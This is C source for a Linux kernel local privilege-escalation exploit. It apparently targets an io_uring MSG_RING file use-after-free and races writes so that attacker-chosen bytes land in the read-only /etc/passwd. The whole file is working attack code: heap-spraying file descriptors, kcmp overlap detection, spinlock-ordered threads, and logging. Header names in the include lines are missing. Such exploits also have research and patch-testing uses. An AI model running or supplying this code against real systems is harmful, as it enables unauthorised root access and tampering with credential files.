// gcc exp_dirtyfile.c -o exp_dirtyfile -static -no-pie -s -luring -lpthread \ // -L ./liburing/ -I ./liburing/include #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include "liburing.h" #define COLOR_GREEN "\033[32m" #define COLOR_RED "\033[31m" #define COLOR_YELLOW "\033[33m" #define COLOR_DEFAULT "\033[0m" #define logd(fmt, ...) \ dprintf(2, "[*] %s:%d " fmt "\n", __FILE__, __LINE__, ##__VA_ARGS__) #define logi(fmt, ...) \ dprintf(2, COLOR_GREEN "[+] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, \ __LINE__, ##__VA_ARGS__) #define logw(fmt, ...) \ dprintf(2, COLOR_YELLOW "[!] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, \ __LINE__, ##__VA_ARGS__) #define loge(fmt, ...) \ dprintf(2, COLOR_RED "[-] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, \ __LINE__, ##__VA_ARGS__) #define die(fmt, ...) \ do { \ loge(fmt, ##__VA_ARGS__); \ loge("Exit at line %d", __LINE__); \ exit(1); \ } while (0) #define TEMP_WORKDIR "/tmp/exp_dir" #define TEMP_VICTIM_FILE "victim" #define TEMP_VICTIM_SYMLINK "uaf" #define MAX_FILE_NUM 800 #define kcmp(pid1, pid2, type, idx1, idx2) \ syscall(__NR_kcmp, pid1, pid2, type, idx1, idx2) #define ATTACK_FILE "/etc/passwd" char attack_data[] = {0x41, 0x41, 0x41, 0x41}; int uaf_fd = -1; int spray_fds[MAX_FILE_NUM]; pthread_spinlock_t write_mutex; pthread_spinlock_t spray_mutex; void prepare_workdir() { logd("perpare the environment ..."); char *cmdline; asprintf(&cmdline, "rm -rf %s && mkdir -p %s && touch '%s/%s'", TEMP_WORKDIR, TEMP_WORKDIR, TEMP_WORKDIR, TEMP_VICTIM_FILE); if (system(cmdline) != 0) { die("create temp workdir: %m"); } if (chmod(TEMP_WORKDIR, 0777)) { die("chmod: %m"); } if (chdir(TEMP_WORKDIR)) { die("chdir: %m"); } free(cmdline); } void *task_slow_write(void *args) { logd("start slow write to get the lock"); int fd = open(TEMP_VICTIM_SYMLINK, O_WRONLY); if (fd < 0) { die("error open uaf file: %m"); } unsigned long int addr = 0x30000000; int offset; for (offset = 0; offset < 0x20000; offset++) { if (mmap((void *)(addr + offset * 0x1000), 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0) == MAP_FAILED) { loge("allocate failed at 0x%x", offset); } } assert(offset > 0); void *mem = (void *)(addr); *(uint32_t *)mem = 0x41414141; #define IOVEC_CNT 5 struct iovec iov[IOVEC_CNT]; for (int i = 0; i < IOVEC_CNT; i++) { iov[i].iov_base = mem; iov[i].iov_len = (offset - 1) * 0x1000; } pthread_spin_unlock(&write_mutex); // [1]:最先执行 logd("start slow writev ..."); if (writev(fd, iov, IOVEC_CNT) < 0) { die("slow writev: %m"); } #undef IOVEC_CNT logd("slow writev done!"); return NULL; } void *task_write_cmd(void *args) { struct iovec iov = {.iov_base = attack_data, .iov_len = sizeof(attack_data)}; pthread_spin_lock(&write_mutex); pthread_spin_unlock(&spray_mutex); // [2]:会等[1]执行完再执行 logd("start writev 2 ..."); int ans = writev(uaf_fd, &iov, 1); if (ans < 0) { loge("failed to write:(%d) %m", errno); } logd("writev 2 done"); return NULL; } void trigger_fd_uaf(int fd) { #ifndef REQ_F_FIXED_FILE #define REQ_F_FIXED_FILE 1 #endif logd("trigger fd %d UAF ...", fd); struct io_uring ring; struct io_uring_sqe *sqe; io_uring_queue_init(64, &ring, 0); io_uring_register_files(&ring, &fd, 1); // i = 3 because slow writev() cause refcnt +1 for (int i = 0; i < 3; i++) { sqe = io_uring_get_sqe(&ring); sqe->opcode = IORING_OP_MSG_RING; sqe->flags = REQ_F_FIXED_FILE; sqe->fd = 0; io_uring_submit(&ring); } // init_task_work(&file->f_u.fu_rcuhead, ____fput); logd("wait task ____fput() to free the struct file ..."); usleep(500 * 1000); } bool spray_files() { pthread_spin_lock(&spray_mutex); trigger_fd_uaf(uaf_fd); logd("spray_files start!"); // [3]:因为[2]在等[1],所以在[2]的实际写入之前执行 bool find_overlap = false; logd("uaf_fd: %d, start spray ...", uaf_fd); for (int i = 0; i < MAX_FILE_NUM; i++) { spray_fds[i] = open(ATTACK_FILE, O_RDONLY); if (spray_fds[i] < 0) { die("open file %d: %m", i); } if (kcmp(getpid(), getpid(), KCMP_FILE, uaf_fd, spray_fds[i]) == 0) { logi("find overlap spray_fds[%d]: %d", i, spray_fds[i]); find_overlap = true; break; } } if (!find_overlap) { logw("not find overlap fd pairs :("); } return find_overlap; } int main(void) { prepare_workdir(); symlink(TEMP_VICTIM_FILE, TEMP_VICTIM_SYMLINK); uaf_fd = open(TEMP_VICTIM_SYMLINK, O_WRONLY); logd("uaf_fd: %d", uaf_fd); if (uaf_fd < 0) { die("open: %m"); } pthread_t p1, p2; pthread_spin_init(&write_mutex, 0); pthread_spin_init(&spray_mutex, 0); pthread_spin_lock(&write_mutex); pthread_spin_lock(&spray_mutex); pthread_create(&p1, NULL, task_slow_write, NULL); pthread_create(&p2, NULL, task_write_cmd, NULL); bool success = spray_files(); pthread_join(p1, NULL); pthread_join(p2, NULL); pthread_spin_destroy(&spray_mutex); pthread_spin_destroy(&write_mutex); if (!success) { die("spray failed"); } logi("exploit done"); return 0; }